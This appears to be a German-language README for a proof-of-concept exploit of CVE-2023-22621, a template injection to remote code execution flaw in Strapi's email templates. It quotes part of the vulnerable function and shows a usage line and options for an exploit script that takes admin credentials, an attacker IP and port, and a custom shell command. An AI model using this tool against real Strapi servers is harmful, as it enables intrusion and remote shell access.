
CVE-2023-22621: SSTI zu RCE durch Ausnutzung von E-Mail-Vorlagen, die Strapi-Versionen <=4.5.5 betrifft
CVE-2023-22621: SSTI zu RCE durch Ausnutzung von E-Mail-Vorlagen, die Strapi-Versionen <=4.5.5 betrifft
Die Funktion sendTemplatedEmail rendert E-Mail-Vorlagen mithilfe der lodash
Template-Engine in HTML-Inhalte, die JavaScript-Code innerhalb von Vorlagen auswertet. ref: https://twitter.com/rootxharsh/status/1268181937127997446?lang=en
'use strict';
const _ = require('lodash');
const getProviderSettings = () => {
return strapi.config.get('plugin.email');
};
const send = async (options) => {
return strapi.plugin('email').provider.send(options);
};
/**
* fill subject, text and html using lodash template
* @param {object} emailOptions - to, from and replyto...
* @param {object} emailTemplate - object containing attributes to fill
* @param {object} data - data used to fill the template
* @returns {{ subject, text, subject }}
*/
const sendTemplatedEmail = (emailOptions = {}, emailTemplate = {}, data = {}) => {
const attributes = ['subject', 'text', 'html'];
const missingAttributes = _.difference(attributes, Object.keys(emailTemplate));
if (missingAttributes.length > 0) {
throw new Error(
`Following attributes are missing from your email template : ${missingAttributes.join(', ')}`
);
}
POC
python3 CVE-2023-22621.py -url http://strapi.local:1337/ -u "[email protected]" -p "$Securep4ss" -ip 127.0.0.1 -port 4545
options:
-h, --help show this help message and exit
-url URL URL of the Strapi instance
-u U Admin username
-p P Admin password
-ip IP Attacker IP
-port PORT Attacker port
-url_redirect URL to redirect after email confirmation
-custom CUSTOM Custom shell command to execute
Alle Credits gebühren dem ursprünglichen Finder der Schwachstelle, schau dir seinen großartigen Artikel hier an.